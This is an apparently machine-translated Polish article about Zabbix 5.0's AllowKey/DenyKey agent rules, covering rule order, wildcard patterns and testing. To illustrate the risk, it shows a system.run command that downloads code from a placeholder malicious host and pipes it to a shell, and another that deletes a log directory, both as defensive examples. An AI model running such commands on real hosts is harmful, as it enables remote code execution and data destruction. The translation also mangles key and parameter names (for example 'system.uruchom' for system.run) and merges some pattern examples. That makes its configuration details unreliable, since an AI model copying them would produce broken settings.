
Obsługa czarnych i białych list dla metryk po stronie agenta
Tichon UskowInżynier integracji, Zabbix
Problemy bezpieczeństwa danych
Zabbix 5.0 wprowadza nową funkcję, która poprawia bezpieczeństwo w systemach korzystających z agenta Zabbix i zastępuje stary parametr Włącz polecenia zdalne.
Poprawa bezpieczeństwa systemów agentowych wynika z faktu, że agent może wykonywać wiele potencjalnie niebezpiecznych działań.
- Agent może zbierać praktycznie dowolne informacje, także te poufne i potencjalnie niebezpieczne, z plików konfiguracyjnych, plików dziennika, plików haseł i dowolnych innych plików.
Na przykład za pomocą narzędzia zabbix_get można uzyskać dostęp do listy użytkowników, ich katalogów domowych, plików z hasłami itd.

Uzyskiwanie dostępu do danych za pomocą narzędzia zabbix_get
UWAGA. Dane mogą zostać pobrane tylko wtedy, gdy agent ma uprawnienia do odczytu odpowiedniego pliku.. Ale na przykład plik /etc/passwd/ jest dostępny do odczytu dla wszystkich użytkowników.
- Agent może również wykonywać polecenia potencjalnie niebezpieczne. Na przykład klawisz *system.uruchom[]** umożliwia wykonywanie dowolnych poleceń zdalnych na węzłach sieciowych, w tym uruchamianie skryptów z interfejsu internetowego Zabbix, które wykonują również polecenia po stronie agenta.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]- W systemie Linux agent domyślnie działa bez uprawnień roota, natomiast w systemie Windows działa jako usługa w imieniu Systemu i ma nieograniczony dostęp do systemu plików. W związku z tym, jeśli po instalacji nie zostaną wprowadzone żadne zmiany w parametrach agenta Zabbix, agent będzie miał dostęp do rejestru i systemu plików, a także będzie mógł wykonywać zapytania WMI.
We wcześniejszych wersjach parametr WłączRemoteCommands=0 dozwolone jest tylko wyłączanie metryk za pomocą klawisza *system.uruchom[]** i uruchamianie skryptów z poziomu interfejsu internetowego, ale nie było możliwości ograniczenia dostępu do poszczególnych plików, zezwolenia lub zakazu korzystania z poszczególnych kluczy zainstalowanych wraz z agentem ani ograniczenia użycia poszczególnych parametrów.

Korzystanie z parametru EnableRemoteCommand we wcześniejszych wersjach Zabbix
Zezwalaj na klucz/Odmów klucza
Zabbix 5.0 pomaga chronić przed tego typu nieautoryzowanym dostępem dzięki białym i czarnym listom, które pozwalają lub nie pozwalają na metryki po stronie agenta.
W Zabbix 5.0 wszystkie klucze, łącznie z *system.uruchom[]**, są włączone, a także dodano dwa nowe parametry konfiguracji agenta:
Zezwalaj na klucz= — dozwolone kontrole;
OdmówKlucza= - kontrole zabronione;
gdzie jest wzorcem nazwy klucza z parametrami, który używa metaznaków (*).
Klucze AllowKey i DenyKey umożliwiają zezwalanie lub blokowanie poszczególnych metryk zgodnie z określonym wzorcem. W przeciwieństwie do innych parametrów konfiguracyjnych liczba parametrów AllowKey/DenyKey nie jest ograniczona. Umożliwia to jasne zdefiniowanie, co dokładnie agent może robić w systemie, poprzez stworzenie drzewa sprawdzeń — kluczy do wykonania, przy czym kolejność ich wpisywania odgrywa bardzo ważną rolę.
Kolejność zasad
Reguły są sprawdzane w kolejności, w jakiej zostały wprowadzone do pliku konfiguracyjnego. Sprawdzanie zgodności klucza z regułami odbywa się aż do znalezienia pierwszego pasującego elementu. Gdy tylko klucz elementu danych będzie zgodny ze wzorcem, zostanie on dozwolony lub odrzucony. Następnie sprawdzanie reguł zostaje zatrzymane, a pozostałe klucze są ignorowane.
W związku z tym, jeśli element spełnia zarówno regułę zezwalającą, jak i odmowną, wynik będzie zależał od tego, która reguła pojawi się pierwsza w pliku konfiguracyjnym.

2 różne zasady z tym samym wzorem i kluczem vfs.file.size[/tmp/file]
Kolejność korzystania z kluczy AllowKey/DenyKey:
- precyzyjne zasady,
- zasady ogólne,
- zasada zakazu.
Na przykład, jeśli potrzebujesz dostępu do plików w konkretnym folderze, musisz najpierw zezwolić na dostęp do nich, a następnie zablokować dostęp do wszystkich innych plików, które nie podlegają ustawionym uprawnieniom. Jeśli najpierw zostanie użyta reguła odmowy, dostęp do folderu zostanie zablokowany.

Prawidłowa kolejność
Jeśli musisz zezwolić na uruchomienie 2 narzędzi za pośrednictwem *system.uruchom[]**, a pierwszą określoną regułą będzie reguła odrzucająca, narzędzia nie zostaną uruchomione, ponieważ pierwszy wzorzec zawsze będzie pasował do dowolnego klucza, a kolejne reguły będą ignorowane.

Nieprawidłowa kolejność
Wzory
Podstawowe zasady
Wzór jest wyrażeniem wieloznacznym. Symbol wieloznaczny (*) zastępuje dowolną liczbę dowolnych znaków na określonej pozycji. Metaznaków można używać zarówno w nazwie klucza, jak i w parametrach. Na przykład możesz na stałe zakodować pierwszy parametr jako tekst, i określ następny jako symbol wieloznaczny.
Parametry muszą być ujęte w nawiasy kwadratowe [].
system.run[*- niepoprawnevfs.file*.txt]- niepoprawnevfs.file.*[*]- Prawidłowy
Przykłady użycia symboli wieloznacznych.
- W nazwie klucza i parametrze. W tym przypadku klucz nie pasuje do podobnego klucza, który nie zawiera parametru, ponieważ we wzorcu określiliśmy, że chcemy uzyskać określone zakończenie nazwy klucza i określony zestaw parametrów.
- Jeśli we wzorcu nie użyto nawiasów kwadratowych, wzorzec ten zezwala na wszystkie klucze, które nie zawierają parametrów, i nie zezwala na wszystkie klucze, które zawierają określony parametr.
- Jeżeli klucz jest zapisany w całości, a parametry określono jako symbole wieloznaczne, będzie on pasował do każdego podobnego klucza z dowolnymi parametrami i nie będzie pasował do klucza bez nawiasów kwadratowych, tzn. zostanie dozwolony lub odrzucony.

Zasady wypełniania parametrów.
- Jeżeli planowane jest użycie klucza z parametrami, parametry te muszą zostać określone w pliku konfiguracyjnym. Parametry muszą zostać określone jako metaznaki. Należy starannie zabronić dostępu do jakiegokolwiek pliku i wziąć pod uwagę, jakie informacje metryka może dostarczyć przy różnych opcjach zapisu - z parametrami i bez nich.

Cechy pisania kluczy z parametrami
- Jeśli klucz określono z parametrami, ale parametry są opcjonalne i określone jako metaznaki, dozwolony będzie klucz bez parametrów. Na przykład, jeśli chcesz wyłączyć odbieranie informacji o obciążeniu procesora i określić, że klucz system.cpu.load[*] ma być wyłączony, pamiętaj, że klucz bez parametrów zwróci średnią wartość obciążenia.

Zasady wypełniania parametrów
Uwagi
regulacja
- Niektóre reguły nie mogą zostać zmienione przez użytkownika, na przykład reguły odkrywania lub automatycznej rejestracji agenta. Reguły AllowKey/DenyKey nie mają wpływu na następujące parametry:
— Nazwa hosta Element
— HostMetadataItem
— Element interfejsu hosta
UWAGA. Jeżeli administrator zablokuje klucz, Zabbix nie poda informacji o powodzie, dla którego metryka lub klucz znalazł się w 'NIEOBSŁUGIWANE'. Pliki dziennika agenta nie zawierają również informacji o zakazach wykonywania poleceń zdalnych. Robi się to ze względów bezpieczeństwa, ale może to utrudnić debugowanie, jeśli z jakiegoś powodu metryki znajdą się w nieobsługiwanej kategorii..
- Nie należy stosować się do żadnej określonej kolejności podłączania zewnętrznych plików konfiguracyjnych (np. w kolejności alfabetycznej).
Narzędzia wiersza poleceń
Po skonfigurowaniu reguł musisz upewnić się, że wszystko jest ustawione poprawnie.
Możesz skorzystać z jednej z trzech opcji:
- Dodaj metrykę do Zabbix.
- Testuj z agent_zabbix. Agent Zabbix z opcją -drukuj (-p) pokazuje wszystkie klucze (domyślnie dozwolone) poza tymi, na które nie pozwala konfiguracja. I z opcją -test (-t) dla zabronionego klucza zwróci 'Nieobsługiwany klucz elementu".
- Testuj z zabbix_get. Pożytek zabbix_get z opcją -k zwróci 'ZBX_NOTSUPPORTED: Nieznana metryka".
Zezwól lub odmów
Możesz odmówić dostępu do pliku i zweryfikować go np. za pomocą narzędzia zabbix_getże dostęp do pliku jest zabroniony.

**
UWAGA. Cudzysłowy w parametrze są ignorowane.
Dostęp do takiego pliku może być jednak dozwolony inną ścieżką. Na przykład, jeśli prowadzi do niego dowiązanie symboliczne.

Zaleca się przetestowanie różnych możliwości zastosowania ustawionych reguł, a także rozważenie możliwości obejścia zakazów.
Pytania i odpowiedzi
pytanie. Dlaczego wybrano tak złożony schemat wzorca z własnym językiem do opisu zasad, uprawnień i zakazów? Dlaczego nie można było użyć na przykład wyrażeń regularnych, z których korzysta Zabbix?
odpowiedź. Stanowi to problem wydajnościowy w przypadku wyrażeń regularnych, ponieważ zwykle występuje tylko jeden agent, który sprawdza ogromną liczbę metryk. Wyrażenia regularne są dość skomplikowanym procesem i nie jesteśmy w stanie w ten sposób sprawdzić tysięcy metryk. Znaki wieloznaczne to uniwersalne, szeroko stosowane i proste rozwiązanie.
pytanie. Czy pliki Include nie są uwzględniane w kolejności alfabetycznej?
odpowiedź. O ile wiem, praktycznie niemożliwe jest przewidzenie kolejności, w jakiej zostaną zastosowane reguły, jeśli rozproszysz je po różnych plikach. Zalecam umieszczenie wszystkich reguł AllowKey/DenyKey w jednym pliku Include, ponieważ oddziałują one na siebie i ten plik..
pytanie. W Zabbix 5.0 opcja „Włącz polecenia zdalne=' brakuje w pliku konfiguracyjnym i dostępne są tylko opcje AllowKey/DenyKey?
Odpowiedź. Tak, to prawda..
Dziękuję za uwagę!
Źródło: www.habr.com
